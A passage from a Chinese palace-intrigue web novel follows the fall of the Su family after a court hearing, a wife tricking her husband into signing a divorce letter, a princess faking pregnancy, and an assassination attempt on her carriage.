邹如意被打了脸,整个人都疯了,她嘶声吼道,“苏建明,你这个怂货你竟然敢打我!我说的有错吗?你难道不是这样说的?你还计划着掏空吕月琴的财产,算计永宁伯府的家产,然后弄死吕月琴娶我!这些都是你亲口告诉我的!”
“胡说八道!你这个疯妇!你这是在含血喷人!”苏建明听到邹如意把自己的那些事情一个劲儿地往外倒,气红了眼,他抬手就要去掐邹如意的脖子,却在触碰到邹如意脖子的那一瞬间就被公堂上的衙役拉开了。
崔国书冷眼看着杂乱的公堂,拿起惊堂木使劲在桌上拍了一下,厉声道:“肃静。”
瞧着虽然安静了下来,但依旧暗涌流动的公堂,崔国书抿了抿嘴,上面还说的真没错,让苏建明他们狗咬狗,根本无需他亲自去调查,这些真相就会被他们自己说出来。
“大人,您也听说了,这苏建明不仅要算计我女儿的嫁妆,还要算计我们永宁伯府,甚至还打算吃绝户!之前他蛊惑我女儿上我永宁伯府去要我亡夫那台御赐端砚的事情就足以证明他的狼子野心。”胡氏横了吕氏一眼,继续道:“当时若不是老太婆我多长了个心眼,求旁人帮我保管,如今我们府上那御赐的端砚怕就落入贼子之手了。”
“岳母,小婿要那台端砚也是为了承儿的...”
“你不是为了我!”苏承印从人群后面走出来,他双目通红的看着苏建明,“你要那台端砚不是为了我,是为了让你的大儿子苏子恒攀上太傅!可是太傅公正廉明,根本不收取你的贿赂!”
“你胡说什么!”苏建明甩袖怒瞪苏承印,“你不知事情真相,就不要在这添乱!”
“我如何不知道真相!”苏承印冷哼,“你买端砚是为了苏子恒这件事情,还是苏子恒亲口告诉我的。”
苏承印回头看向藏在人群中的苏子恒,“当初向外祖母要端砚不成,苏清欢又打听到了一个商人手中有端砚,你逼着母亲卖掉旺铺购买端砚被拒,你就卖掉了自己收藏的字画,还在地下钱庄借了三万两银钱,为的就是替你的大儿子买下端砚敲开太傅府的大门!”
“信口雌黄!简直信口雌黄!”苏建明指着苏承印,“是谁教你这么污蔑你父亲的?”
“污蔑?你带着苏子恒去茶楼拜访太傅的事情是我亲眼所见!”苏承印目光沉沉地看着苏建明,“太傅甚至连看都不愿看你们送的端砚一眼就把你们赶出来也是我亲眼所见亲耳所闻!”
“我还知道你们被那个商人骗了,那不过是假的端砚,后来你们想退了端砚,却找不到那个商人了,所以你们对帮外祖母保管端砚的姜...御王妃怀恨在心,才有了前些日子御王妃善妒的传言!”
苏承印说到这里嘲讽地笑了笑,“不过这样也好,你们也算是做了一件人事,还了御王妃清白的身世。”
苏承印说到这里忽然苍凉的笑了,他在想,姜黎婳这算不算因祸得福了。
如果没有那些事情的话,她现在一定还深陷在这肮脏的家中,与他们断不了关系,还得为苏家这些事情忧心烦神?
第111章 休夫
苏子恒没想到苏承印竟然把自己挑衅他的那些事情都告诉了苏建明,他低下头不敢和苏建明震怒的目光对视。
胡氏听到苏承印这些话,气得转身又是几巴掌落在吕氏背上,“你这个被猪油蒙了心的蠢货!当年我就不同意这门婚事,你还以死相逼!现在好了!你所谓的两情相悦不过是人家的算计!你不但毁了你自己,你还害了你的女儿!”
吕氏听到大儿子说的那些话之后已经忘了反应了,现在被母亲打在身上也感觉不到疼,她缓缓转身看着苏建明,嘴角勾起一抹惨淡的弧度,“苏建明,你真该死啊。”
她缓缓转身看向坐在高堂上的崔国书,有气无力地说道:“大人,如今真相已白,请您按律处置罪犯。”
吕氏说着偏头看向胡氏,看着胡氏气急的模样,她拉着胡氏的手跪了下去,哑着嗓子道,“娘,过去是女儿鬼迷了心窍,女儿已经无颜在面对您,您也别管女儿了。”
“你想做什么?”胡氏听吕氏这话只觉得心头一跳,她拉着吕氏的手,厉声道:“你可不准做糊涂事!”
苏承印也赶紧过去扶着吕氏,低声道,“母亲,你还有我和弟弟,你可千万不要想不开啊。”
吕氏偏头对着与自己一同跪在地上的苏承印扯了扯嘴角,“母亲已经害了你妹妹了,怎么能再害你呢,你放心我不会做傻事的。”
苏建明三人因为相互攀咬,现在三人都有嫌疑,全都收押牢房等待查清楚真相之后发落。
在苏建明等人被收押牢狱之后,吕氏才对苏承印和苏继业道:“我要与你们父亲和离,你们兄弟两人是跟...”
“我们自然跟着母亲。”苏继业不待吕氏说完就直接冷着脸道:“我没有那种狠毒的父亲!”
苏承印没有苏继业那样疾恶如仇,但是却想得比苏继业多,现在他是真的对苏建明心灰意冷了,况且如今苏家已经倒下了,若苏建明被定了罪,那还有可能会影响他的科举,他不会为了一个心中没有他们的父亲,放弃自己的前程。
“我也跟着母亲离开。”苏承印说到这里,眉头皱了皱,“就怕他不同意我们跟着离开。”
“只要你们两人愿意就行。”吕氏说着看向还坐在高堂上不曾离开的崔国书,轻声问,“崔大人,请问可以借笔墨一用吗?”
主簿立刻拿了笔墨纸砚给吕氏,吕氏写了休夫书。
看到休夫书三个字,主簿眼睛一瞪,不可置信地看向吕氏,这女人疯了吧?
吕氏的确疯了,她现在就是要苏建明颜面扫地!
他装了这么多年,那么爱面子,她如今就是要苏建明颜面扫地!
“他不会同意签字的吧...”主簿低声提醒吕氏,“吕夫人不如用和离...”
“我不。”吕氏快速落笔,眼神决然,“当年是我非要嫁给他的,如今也是我要休了他!”
牢狱之中苏建明看到吕氏递过来的休夫书气的三两下就撕了休夫书,他目赤欲裂地瞪着吕氏,怒声喝道,“我是不会同意和离的!更遑论休夫!吕月琴你是不是疯了?”
吕月琴冷眼看着在牢狱中无能狂怒只能撕掉休夫书的苏建明,她重新拿了一张,递到苏建明面前,“你若签下字,同意两个儿子跟我走,那我就撤诉,并且帮你还了在地下钱庄的三万两银子,我们好聚好散。”
苏建明眯眼,他眼神凌厉地看着吕月琴,蹙眉,“我不信。”
“这些年我何时骗过你?”吕月琴叹了口气,“我累了,不想和你继续牵扯下去,你若不同意的话,那我就只能让崔大人严查,到时候不只是你,就连孩子都会被你牵扯,你要你们苏家就在这里倒下吗?承儿和业儿跟我走,至少还能继续参加科举,若你被定罪,那他们完了,你们苏家也就完了!”
吕月琴不是恋爱脑之后,头脑非常清醒,她抬眸看着眼神有些松动的苏建明,轻笑着问,“你该不会是还指望你那个废物大儿子吧?”
她轻轻转头看向与邹氏关押在一间牢房的邹如意,“他即便不被你牵连,难道不会被母亲牵连了?你真的觉得你们苏家的未来能放在他身上?”
苏建明自然知道苏子恒和他娘一样,是个没头脑的,有点心思都没有用在读书上面,不然他当初也不会铤而走险非要买那个砚台去攀太傅了。
谁知太傅没攀上,太傅的女儿也没见到!
苏建明沉默了,半晌之后他道,“你让他们把我放了,放了我就签字盖印,同意让你休夫!”
“其实,休夫书是不用你同意的,就像你们男人休妻一样,我若让官府盖章了,那你就被我休了,我让你签字,不过是给你留了一丝脸面,你真的不想要吗?”
苏建明看着面色平静的吕月琴,心中在敲鼓,真的是这样吗?他听过不少休妻的,的确写下休书,盖上官印就可以把妻子赶出去,但是他从未听过休夫的...
看到苏建明还有疑虑,吕月琴不耐地蹙眉,“既然你不要脸面,那我就不给你留了。”
吕月琴转身就走。
“等一下。”苏建明伸手扯住吕氏的衣袖,沉声道:“真的只要我签了字,你就撤诉还帮我还债?”
吕月琴深深地吸了口气,颔首,“二十年的夫妻情分,虽然你不仁,但是我不能不义,你毕竟还是两个孩子的父亲,我不想让他们恨我。”
苏建明垂眸思索了片刻,“好,我写,但是你不要骗我,否则我不会放过你的。”
吕月琴轻笑,“你现在还有什么值得我骗的。”
苏建明接过纸笔签下字,再用印泥按下手印,然后把手中的纸笔递给吕氏,吕氏看了一眼上面的苏建明签了字,盖了手印的休夫书,她轻笑,“苏建明,你真蠢,但被你欺骗了这么多年的我更蠢。”
“你什么意思?”苏建明后知后觉地抬眸看着吕月琴。
吕月琴挥了挥手中的休夫书,“你刚刚看的休夫书,和这一张有点差别。”吕月琴挑了挑眉头,“你们苏家这些年用我的银子挥霍还养外室,我怎么也得找点损失啊,城南的宅子虽然值不了什么钱,但是卖了也能找点损失回来。”
她轻笑,“依照你这种自私自利的性子,就算在城南买了宅子,那房契定然也是写的你的名字,我自然要让你转让给我了。”
“你算计我!”苏建明目赤欲裂,“吕月琴!你算计我!”
“心头难受了?”吕月琴面色骤冷,“你知道被你骗了二十多年的我在知道真相的时候有多难受了吧?”
第112章 做人不要太贪念不属于自己的东西
邹氏听到吕月琴这么算计自己的儿子,也顾不得先前被儿子背刺了,她站起来站在牢门边指着吕月琴大骂,“你这么诓骗我们,你不得好死!”
“那你们岂不是要下无间地狱?”吕月琴现在看到邹氏这张脸就觉得面目可憎,她忽然觉得以前的自己,真的愚蠢到天怒人怨,她若回到之前她都要狠狠地扇自己几个巴掌把自己打醒。
她当初究竟是怎么对着邹氏这张脸还能尽心尽力的尽孝的?
她捏着手强忍着过去扇邹氏两巴掌的冲动,冷嗤,“你们三个就在这里发烂发臭吧!”
她转身就走。
看着她离开的背影,苏建明连忙喊道,“你说过要...”
“苏建明!”吕月琴停下脚步回头冷冷的看着他,“你什么时候那么天真了?我让你签字,不是为了好聚好散,是为了你那座宅子!蠢货!”
“吕月琴你骗我!”苏建明眼中怒火丛生,“我不会放过你的!”
吕月琴罔若未闻,转身大步离开。
看到吕月琴从牢房中出来,苏承印和苏继业迎了上去,“他签字了?”
吕月琴颔首,“去盖官印,你们回去找房契,再去把城南的那座宅子卖掉,对了,房子里面那些值钱的东西,你们兄弟二人先带人去收拾干净处置了。”
.......
皇宫中。
皇后在听说了苏家的事情之后一直派人留意着顺天府的,所以吕月琴写下休书后没多久皇宫姜黎婳就知道了。
皇后瞧着姜黎婳并未因为苏家的事情有什么波动,她欣慰地拍着姜黎婳的手背,“好孩子,有福之人不入无福之家,你瞧当年你生下来他们把你丢了,让你拥有了一个好父亲好哥哥,后来因为那些腌臜事儿,你与他们彻底没了关系,如今啊,他们家闹成这样,也与你无关。”
姜黎婳笑着点头,“母后说得对,是儿臣有福气。”
皇后瞧她顺着自己的话说,眼神越发的和蔼了,她笑着道:“你如今别想其他的,就安心养胎,给咱们皇室诞下皇孙。”
姜黎婳:“.......”
瞧皇后这么开心的模样,她忽然觉得自己谎称有孕有点不道德了。
“你如今月份还小,应该越少的人知道越好,但是现在几乎整个后宫都知道了,你行事也要越发小心才是。”皇后说着叹了口气,“都怪那个吕氏,若不是她来气你,也不至于让你晕倒,让御儿这么兴师动众的喊了那么多太医过去,闹得你有孕的事情人尽皆知。”
姜黎婳微笑着垂下头,若不是已经那么兴师动众的请了那么多太医过去给她诊治,也不会有她怀孕的事情呢...
皇后瞧她低着头以为她是不好意思了,笑着道:“瞧你还不好意思了,御儿最近有些忙,应该不会回府陪你用膳,不如你就留在宫中与母后一同用膳,饭后歇会儿,等晚点太阳下山后,本宫再派人送你出宫如何?”
皇后瞧着外面艳阳高照的天,“昨儿个夜里风吹雨打,天上的云都被吹散了,今天日头太大了,你现在出宫太热了。”
“多谢母后体恤。”姜黎婳笑着应了下来。
皇后见她同意,笑着让佩蓉去吩咐小厨房做饭,“御膳房的饭菜送过来才都凉了,味道也不好。”
说到这里她顿了顿,眼里闪过一丝冷光,“还容易让人钻了空子害你,咱们今儿个就让凤仪宫的小厨房做点你喜欢的菜。”
姜黎婳没有意见,皇后想着小厨房做好饭菜也需要时间,又怕姜黎婳坐久了累到,就让姜黎婳去偏殿休息,姜黎婳昨夜的确累到了,便没有推拒,正要起身离开,就看到贤妃和淑妃两人走了进来。
贤妃脸上带着浅淡的笑意,看到姜黎婳她眼睛一亮,快步朝姜黎婳走了过来,“本宫就知道你还没离开。”
姜黎婳屈膝给两人见礼,“见过淑娘娘、贤娘娘。”
贤妃扶着姜黎婳站起来,“你如今身子不便,就不用在意这些虚礼了。”
亲手扶着姜黎婳在椅子上坐下,这才笑着给皇后见礼,“臣妾恭喜皇后娘娘了。”
说着又看向姜黎婳,目光慈爱,“你如今有了身孕,也算是圆了皇后娘娘的心愿了。”
淑妃也笑着道:“是啊,这可真的是一件大喜事。”
她说着羡慕的对皇后道,“还是姐姐你有福气,如今御王在朝中帮皇上办事,御王妃还有了身孕,不像我...”
淑妃叹气,“澜儿就像是个没长大的孩子一样,一天就知道玩。”
“他本来也是一个孩子,这都还没有及冠,你别太心急了。”皇后安抚了淑妃两句,又道,“有些事情是急不来的。”
淑妃想到那天夜里皇后对自己说的话,她抿了抿嘴在心头哼了一声,又看向姜黎婳,轻声道:“之前还觉得御王妃恢复了身份没有了苏家庇佑,是一大损失,今儿个看来啊,幸好你不是苏家人,不然还真是丢人了。”
皇后面色一沉,冷冷地看了淑妃一眼,“淑妃。”
贤妃的脸色也冷了下来,她看了淑妃一眼,轻声道:“好好的你提苏家人做什么?”
淑妃却完全不觉得自己说错了,她撇嘴,“那苏家做出那种事情我还不能说了?我也是在为御王妃鸣不平啊,听说那苏清欢就是苏建明的亲女儿呢,她当初弄出那种流言重伤御王妃,如今自己却颜面扫地,我就当个笑话来哄御王妃开心,不行吗?”
淑妃笑看向姜黎婳,“你如今有了身孕,就要开开心心的,这才对腹中的胎儿好。”
姜黎婳含笑对淑妃点头,“淑娘娘说的是,苏家的事情就当个笑话听了,也算是让我时刻谨记做人切莫太贪心,不然总有一日会被自己的贪心给反噬的。”
淑妃面上的笑容僵了僵,就听姜黎婳说,“他们苏家有现在的下场就是太贪心了,总贪恋不属于自己的东西,现在遭报应了,也的确成了全京城的笑话。”
瞧着淑妃绷不住的脸色,皇后笑着嗔了姜黎婳一眼,“好了,不提那些旁人的事情了,你不是乏了吗?先去偏殿休息,一会儿午膳送过来了,本宫再唤你。”
“你如今有身孕的确需要多休息。”贤妃笑着从手腕上取下一个晶莹剔透的玉镯子戴在姜黎婳身上,“玉养人,你戴着玩,这就当本宫送你的贺礼了。”
姜黎婳瞧着整体通透碧绿的玉镯,笑着给贤妃行礼道谢,贤妃扶着她没让她屈膝。
淑妃瞧贤妃又送了姜黎婳一只质地这么好的玉镯,她撇了撇嘴,嗔了贤妃一眼,“还好今日我早有准备,不然又让姐姐你抢了先了。”
第113章 惊马
淑妃从暗袋中拿出一个红木盒子,盒子打开,里面是一对镶嵌了珠宝的龙凤镯。
她把盒子递给姜黎婳,笑意温柔,“本宫就是不会说话,但也是盼着你们好的,有时候若是说错话让你不高兴了,别和本宫计较。”
姜黎婳看了一眼盒子里面的龙凤镯,龙凤镯是金的,上面雕刻的龙凤栩栩如生,它们的眼睛甚至都是镶嵌的红宝石,做工非常精细,一看就知道特别贵重。
姜黎婳看向皇后,像是在征求皇后的意见。
皇后笑着道:“既然是淑妃的心意,你就收下。”她说着看了淑妃一眼,“你啊,就是个嘴硬心软的,如此贵重的手镯你自己都舍不得戴,却拿来送婳儿了。”
淑妃笑了,“婳儿是姐姐的儿媳,那就是妹妹的儿媳,疼她都是应该的。”
姜黎婳道谢后拿过红木盒子,顺手把盒子递给了从外面走进来伺候她的知夏手中,主仆二人去了偏殿。
皇后让淑妃和贤妃两人落座,说起了姜黎婳怀孕,自己害怕慧妃那边对姜黎婳动手脚的事情。
姜黎婳到了偏殿便让知夏把偏殿的门关上了,一时之间偏殿的中只剩下她们主仆二人。
知夏瞧姜黎婳没有去床榻上歇息,反而坐在了软榻上开始研究盒子中的手镯。
她脚步轻快地走过去,站在姜黎婳身边,“王妃,这镯子您回去也可以看,现在要不要休息一会儿?从宫外走进来本就有一段距离,您又陪着皇后娘娘和其他两个娘娘说了那么久的话,就是您受得住,您腹中的胎儿也受不住的呀。”
姜黎婳听着知夏的念叨,忽然能想象知夏以后到了佩玉嬷嬷那个年纪之后的模样了。
她把镯子放下,抬眸看了知夏一眼,笑着道:“知道了。”
她觉得以后若她真的有了孩子的话,一定要让知夏去一直带着,有知夏在,她都不用担心孩子受伤或者学习不好之类的。
说不定孩子还没有做危险的事情,知夏就要开始念叨...
那场面想想都好有趣!
姜黎婳把龙凤镯翻来覆去的看了半晌也没有看出个什么蹊跷,放在鼻尖处闻了一下,有一股淡淡的香味,但不是从金子本身发出来的香味...
摆弄了一会儿,姜黎婳实在是没弄清楚,她干脆把盒子递给知夏,人站起来伸了一个懒腰,“那我睡会儿。”
日落黄昏,姜黎婳乘上了回府的马车,上了马车知夏就把车帘全都卷了起来,因为姜黎婳如今有了身孕,张嬷嬷便吩咐马房的人给她准备马车的时候不要放冰块了,说是马车空间小,冰块放进去太过寒凉,对胎儿不好。
姜黎婳也不是第一次搬起石头砸自己的脚了,在心头埋怨了一下自己出的馊主意也就接受了。
昨夜下了雨,今儿个日头又大,地上的湿热很重,姜黎婳坐在马车中没一会儿就热得出了汗。
她抬手擦汗,几乎是抬手的一瞬间,无数箭雨朝马车射了过来。
姜黎婳听到刀剑相拼的声音,接着马儿一声嘶吼马车开始狂奔,姜黎婳下意识地抓紧马车窗户稳住身子,知夏反应没有那么快,人差点被甩了出去,姜黎婳伸手一把抓住她的手腕,急声道:“抓紧门边,千万不要被让自己被甩出去!”
现在马儿发了疯,若是被甩出去,不摔死也怕是半身不遂。
她也是没想到她昨天晚上才传出有孕的消息,今天就有人过来刺杀她了!
还好楚御礼害怕她有了身孕的消息传出去会有人对她不利,所以派了冽风在暗处保护她,她出门也带了两个护卫...
重物落地的声音响起瞬间,一声哀嚎也响了起来,知夏闻言立刻哭了,“王妃,车夫坠下马车了!我们怎么办?”
“你抓紧了,别让自己落下去!”姜黎婳抓紧窗户想要让自己往前挪动,但是受了伤的马越跑越快,马车很快离开了皇城附近的大街,往喧哗的街道而去...
知夏好像看出了姜黎婳的意图,她焦急地朝姜黎婳喊道,“王妃,您别往前来,奴婢去...”
“别添乱,抓好马车,别让自己被甩出去。”姜黎婳现在手心全是汗,她一点一点地往前挪动,现在冽风和护卫还没有追过来,她必须想办法自救。
听到外面传来的尖叫声,姜黎婳咬牙,跳车肯定是不行的,现在跳下去无异于自杀...
她已经挪到了车门处,看到已经落在地上被马脱着的缰绳,姜黎婳心死了。
算了,自己出的馊主意引来的杀手,自己承担后果。
在姜黎婳平静地要接受自己怀孕带来的后果时,冽风落在了马背上,他双手勒紧缰绳迫使屁股上挨了一箭的马儿慢下来,然后逐渐停下脚步...
马车有惊无险地在喧哗的街道上停了下来,那些先前被马车惊得尖叫四处逃窜的人群也慢慢地围了过来。
惊马了!
而且马屁股上还有一支箭,这一看就知道这辆马车经历了刺杀啊!
他们可得看看马车里面是什么人,竟然能让人在大街上发起刺杀!
把马儿逼停之后,冽风第一步就是把马车从马背上卸下来,此刻他无比庆幸这个女主子不爱铺张浪费,不像其他贵族或者皇族一样出行要用双马车或者四马车,不然今天这惊马,不仅她可能会死,这街上不知道还会被踩死多少人。
很快护卫追了过来,一个护卫牵着马,另一个护卫掀开车帘,扶着姜黎婳和知夏下车。
姜黎婳下了马车,冽风才上前对姜黎婳抱拳,“王妃,那些刺客没有抓到活的,应该是死士。”
姜黎婳:“......”
杀她用死士,也是有点大材小用了。
“那意思是说查不到是谁派来的了?”
冽风颔首,“暂时不能。”
姜黎婳轻轻摇头,“是我们大意了,车夫没事吧?”
“受了重伤,已经让人送就近的医馆了。”
“姜...”一个人影从人群中冲出来,但在距离姜黎婳几步远的地方被冽风一个闪现拦了下来,那人也不敢上前了,只担忧的上下打量姜黎婳,“你没事吧?”
姜黎婳看了一眼来人,她眉头微蹙,“与你何干?”
苏承印刚带着人去把邹如意母子住的那城南宅子中的贵重物品全部搬走,顺便把苏子恒揍了一顿,此时正打算回家,谁知路上遇到惊马,他还以为是苏子恒叫人来报复他的,他吓得四处逃窜,马车停了下来,他才知道是有人要杀姜黎婳。
自从知道换女真相后,他一直在反省自己,他深知自己对不起姜黎婳,听姜黎婳这么问,他也没有生气,只低声道,“我只是担心你。”
“不需要。”姜黎婳说罢看向冽风,“我们走吧。”
苏承印脚步往前踏了一步想追姜黎婳,但是看着姜黎婳那决然的背影,迈出去的脚步硬生生的收了回来,他双手捏紧了拳头,是啊,他们现在没资格关心她。
他回头看了一眼跟着自己一起出门的家丁,沉声道:“走吧。”
第114章 怕死的命苦打工人
崔国书只感觉今天很忙,上午一直在忙苏家的事情,午饭之后又要处理一些琐事,好不容易晚饭后可以休息一下了,就听说御王妃在街上遇刺,马儿中箭,惊了马。
他慌慌张张的带着人赶到事发地,那里就剩下一辆马车和一个护卫还有几个蒙面躺在街上的刺客了。
护卫看到崔国书带着人来了,他面无表情的把事情描述了一遍,然后指着地上躺着的死尸还有被拴在街边柱子上受伤的马,“这些都是物证,追查凶手的事情就交给崔大人了。”
崔国书:“......”
就这些东西,让他怎么查?
这不是为难人吗?
护卫才不管为不为难人,这崔国书是顺天府尹,是京城百姓的父母官,既然在他管辖区内发生的案件,自然要交给他来处置,至于能不能查到凶手,怎么跟王府和皇室交代,那都不是他这个小护卫应该操心的事情。
护卫说完脚步生风的走了。
姜黎婳在街上遇刺的事情很快就传开了。
她刚到王府张嬷嬷和佩玉两人就迎了上来,两人上去挤开扶着姜黎婳的知夏,左右两边一边一人扶着姜黎婳往府中走,张嬷嬷忧心忡忡的看了一眼姜黎婳的小肚子,“奴婢已经让人进宫去请罗太医了,王妃您先回屋歇会儿,等罗太医过来给您瞧过之后,开了方子,再给您熬制压惊药。”
佩玉配合着点头,“张嬷嬷说得没错,如今您有了身孕,不能乱吃药,但是也不可大意。让太医过来看一下最好。”
“我觉得没有什么不适的地方。”瞧着两个比自己还小心的嬷嬷,姜黎婳有些无奈,“你们不用担心。”
“事关皇室子嗣,不可大意。”张嬷嬷皱着眉头道,“王爷今日也一直没有回来,也不知道听说您遇刺的事情没有。”
隐藏在暗处姜黎婳进来的冽风蹙眉看了张嬷嬷一眼,心想他们王爷如今这么忙,难道还要因为这种小事从百里外的城郊跑回来?
再说王妃又不是真的有了身孕,有必要这么着急吗?
好吧...
她们不知道王妃是假孕的事情。
想到王妃假孕的事情只有他和沉鹤两个暗卫头子知道,冽风的心情一下子就又变好了。
看来王爷是很看重他们的,他们的能力还是很强的!
不过...
冽风咬牙,王妃今天虽然惊了马,但是却没有受伤,主子应该不会怀疑他的能力吧?
冽风想到会被主子怀疑自己的能力,心情一下就不好了,躲在暗处偷偷难过...
姜黎婳根本不知道冽风在短短的一会儿时间里面已经转换了好几种心情,她在张嬷嬷和佩玉嬷嬷两人的强制要求下进了屋就躺在床上静养了。
她生无可恋的再次感叹自己真是搬起石头砸了自己的脚。
不过想到今天自己收到的那对龙凤镯和玉镯还有在街上遇刺,她又觉得还是有点收获的。
城外,祁县南阳村。
沉鹤脸颊带血从黑夜中走了出来,看到有些狼狈的楚御礼,沉鹤惭愧的跪在地上,沉着脸冷声道,“属下无能,把人跟丢了,线索也断了。”
楚御礼用手指弹了弹自己身上的灰尘,语气冷漠,“若真这么容易被我们抓到,那这个案子就不会是悬案了。”
楚御礼抬头看了一眼月牙已经升起的天,眼睛眯了眯,“不过越难查,说明对方的势力越强,你们去查一下,这些年来经常出入京城的世族都有哪些。”
能拥有死士和那么强的势力的人,除了京城的世族那就可能是官宦。
这些人倒是让他把范围缩小了。
他转身上了马车,昭临走上前,“殿下,时辰不早了,咱们回京去城门也关了。”
楚御礼蹙眉,他掀开车帘看了一眼夜色,冷声道,“那就接着查!”
他一定要把这些人揪出来!
成亲这么久以来,他第一次外宿,都是因为这些人!
御王府。
罗太医一脸无语的跪在姜黎婳床前给姜黎婳诊脉,感受着强而有力的脉搏,罗太医只想说这御王妃这就连惊吓都没有,怎么可能会惊到胎儿!
更何况她肚子里面还没有胎儿!
不过想到那个冷面王爷的脸,罗太医抿了抿嘴站起来,对着一脸担忧的张嬷嬷道:“王妃只是受了轻微的惊吓,府中胎儿也安然无恙,只需要静养就是,无需用药。”
姜黎婳听到自己不用喝那苦兮兮的药,眉目都放松了,她抬眸对张嬷嬷笑了笑,“我就说没事儿吧。”
张嬷嬷与她对视了一眼,收回目光,看向罗太医,蹙眉,“真的不用喝药安胎吗?”
罗太医:“.......”
胎儿都没有,怎么安胎?
他脸上挂着职业微笑,颔首,“王妃身体的底子很好,胎儿也没有受到影响,王妃只需要好好休息就行,不用喝药。”
姜黎婳看了罗太医一眼,心想这罗太医人还挺好的,没有像她以前看的电视剧里面那些太医一样,为了安主子的心没病都还是要开点药让人家吃一吃。
而罗太医想的是,他若开药把这位吃出问题了,还不知道那冷血无情的王爷会把他怎么样呢!
所以为了自己的安全起见,他就把把脉,说点好听的话安抚一下这些不明真相的嬷嬷们就成了。
“既然王妃无碍,那臣就先告辞了。”罗太医躬身告退。
姜黎婳瞧着他那落荒而逃一样的背影,撇嘴,“我又不吃人,跑这么快做什么?”
罗太医没听到,听到后肯定会回她一句,你不吃人,但是你家男人吃人啊!
当然,回答这句也是在心里,他不敢说出来。
世上谁还不怕死了?
他贪财的时候也想过可能会死,但是那不是没被发现吗?再说了偌大的财富,谁不心动啊...
罗太医走出王府大门,想到自己如今自己和太医院那些同僚水深火热的境况,他狠狠地叹了口气,贪财怕死!
唉...
罗太医还没到家门口就被一个蒙面人拦住了去路,他战战兢兢的抿了抿嘴,“你干什么?”
“御王妃身体如何了?”
罗太医:“.......”
这些人真的以为贪财怕死的人好欺负是吗?谁都能上来威胁一下?
“她只是受了一点惊吓,连腹中的胎儿都没事儿。”罗太医吞了吞口水道,“你还想知道什么?”
只要不出卖御王,他就不会死全家,那把御王府那些嬷嬷们知道的事情告诉这人应该没事儿吧...
“她真的怀孕了?”蒙面人蹙眉。
罗太医气急,“你怀疑我的医术,那你就找个医术更厉害的去给她诊治一下啊!”
他说完不怕死的推开黑衣人,直接敲门,“开门,我回来了!”
黑衣人,“.......”
他还第一次见到这么硬气的太医。
他嗤笑了一声转身大步消失在黑夜中。
罗太医在家门打开的那一瞬间,一个箭步冲进家门,靠在门背后大口呼气,吓死他了!
差点就死了!
第115章 母亲你要替我报仇
苏承印回家之后思索了半天还是决定把自己在街上看到的惊马事件告诉母亲,虽然如今姜黎婳不愿再认他们,但母亲作为姜黎婳的生母,他认为她有资格知道姜黎婳的境况。
吕月琴听到姜黎婳惊马浑身都惊出了冷汗,她有些后怕的咽了咽口水,“还好人没事。”
看到母亲的模样,苏承印叹气,“母亲想去看看她吗?”
吕月琴因为苏承印这个问题整个人怔住了,她自嘲的垂下眼眸轻轻摇头,语气带着前所未有的苍凉,“承儿,当初是我自己选择了与她割断母女亲缘,如今我还有资格去看她吗?她还会原谅我吗?”
想到楚御礼的警告她也不敢再去看她...
她不能因为自己眼瞎失去了女儿,又要因为自己的愧疚再害了儿子。
她想得到女儿的原谅,但是不敢去找她...
“时辰不早了,明日一早咱们还得搬家,你先回去休息吧。”
看着吕月琴的失落的模样,苏承印也不再说什么,他起身深深地看了一眼坐在桌边失神的母亲,转身离开了房间。
屋外张嬷嬷瞧着吕月琴这模样轻轻摇了摇头,当初那流言刚传出来的时候夫人若是听了自己的劝说,帮二小姐...帮小姐澄清了,母女两人应该也不会变成这样子。
翌日。
天微微亮,姜黎婳感觉到有人在自己身边躺下,闻到熟悉的味道,她坐起身来,“回来了?”
楚御礼有些疲倦的揉了揉眉心,他嗯了一声,揽着姜黎婳躺下,“一夜没歇息,陪为夫睡会儿。”
姜黎婳昨天回来就被张嬷嬷和佩玉两人强制压在床上躺着,到现在是躺得腰酸背痛的了,她实在是不想再躺着了,于是她挣扎着想起身,“我躺太久了,腰酸背痛的,想起身了。”
楚御礼没有松开她,只是抬手轻轻在她的腰窝处揉捏,声音带着些许鼻音,“就陪为夫一会儿,等我睡着以后,你再起身。”
他的力度不轻不重,很好的缓解了姜黎婳腰间因为长时间躺着带来的不适,她又躺回去,楚御礼的动作没有停,因为太舒服,她又昏昏欲睡的闭上眼睛。
等她睡着之后,楚御礼手上的动作也变得缓慢了,呼吸也越来越平缓。
进来唤姜黎婳起身的知夏看到两人依偎在一起睡着的模样又悄悄的退了出去,还把门给关上了。
定国公府。
苏清欢拖着满是伤痕的身子一步一步的挪到了院门前,萧景宴是一个疯子,他根本不懂得怜香惜玉,那天她在皇宫被杖则之后她以为自己能回苏家,谁知道醒来自己竟然在定国公府。
而床边还坐着手握长鞭的萧景宴,他笑意阴森的看着她,说,“真没想到夫人这般耐不住寂寞,我夜夜与你缠绵,竟然还是没能满足你,让你在二皇子府婚宴上与二皇子那种人做出那种事情来丢我的脸。”
苏清欢当时还没来得及辩解,又是一顿鞭子落在身上,等她醒来,她已经浑身是伤了,一个婢女正在给她上药。
她觉得自己若不跑的话,肯定会被萧景宴弄死的。
所以趁着昨夜萧景宴的彻夜未归,她穿好衣裳决定逃走,不过她低估了自己的伤势,从她所住的院子到外院,她都快用了一个时辰的时间。
不过看到外院的院门,苏清欢还是看到了希望。
她强忍着身上的疼痛,站直身子一步一步朝院门走去,她伸手捏着门栓,打开门,脸上浮出笑意...
“你要去哪儿?”门外站着一身暗蓝色锦服的萧景宴。
苏清欢嘴角那微微牵起来的弧度凝固住了,她有些畏惧地往后退了一步,低声道,“我只是想回家去看看。”
萧景宴晃了晃脖子,抬步跨进门槛,苏清欢的心跳停止了一瞬,她往后退了一步,因为脚下不稳,人摔在地上,腰臀部瞬间传来的疼痛让她流下眼泪。
萧景宴对她的眼泪视而不见,他眼神阴冷的蹲下身子捏住苏清欢的下颌,“想回家看看?”
他嗤笑一声,“你还不知道吗?你没有家了,你爹和你亲娘他们现在还在顺天府的大牢中呢。”
他手上的力度很大,把苏清欢的下颌都捏红了,但是他丝毫没有放轻力度的打算,看到苏清欢眼底的震惊,他冷笑,“你如今走出国公府就只有死路一条了,你还想出去?”
苏清欢不可置信的摇头,“你休想骗我!”
“呵。”萧景宴无趣的丢开苏清欢的脸颊,冷冷的对着打瞌睡刚被吵醒的门房小厮道,“把她送到苏府去。”
他居高临下的看着苏清欢,“你走出这道门,本世子的休书就生效了,你若想再进国公府的大门,就不是那么简单了。”
苏清欢深深地看了一眼竟然愿意放自己走的萧景宴,她没说话,从地上爬起来,一步一步慢慢的挪到门外。
小厮急忙去牵了马车过来,扶着苏清欢上了马车。
